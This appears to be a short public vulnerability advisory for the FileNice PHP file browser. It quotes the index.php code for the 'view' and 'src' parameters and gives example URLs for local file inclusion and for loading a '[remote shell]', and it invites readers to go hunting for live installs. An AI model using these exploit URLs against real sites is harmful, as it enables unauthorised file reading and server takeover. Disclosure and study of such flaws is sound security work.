FileNice file browser RFI&LFI
By: e.wiZz!
#######Script site: http://filenice.com
In the wild...
###################################
######Vulnerability:
index.php
...
if(isset($_GET['view'])){
if(substr($_GET['view'],0,2) != ".." && substr($_GET['view'],0,1) != "/" && $_GET['view'] != "./" && !stristr($_GET['view'], '../')){
$out = new FNOutput;
$out->viewFile($_GET['view']);
}else{
// someone is poking around where they shouldn't be
echo("Don't hack my shit yo.");
exit;
}
}else if(isset($_GET['src'])){
if(substr($_GET['src'],0,2) != ".." && substr($_GET['src'],0,1) != "/" && $_GET['src'] != "./" && !stristr($_GET['src'], '../')){
$out = new FNOutput;
$out->showSource($_GET['src']);
}else{
// someone is poking around where they shouldn't be
echo("Don't hack my shit yo.");
exit;
}
...
here is some security check for dir-traversal(can be bypassed),but there is no check for RFI,
also you can see source of any file which is in parent directory:
http://inthewild/path/index.php?src=[lfi] // index.php or whatever
http://inthewild/path/index.php?src=[remote shell]
btw. there is lot of other vulnerabilities...happy huntin' :)
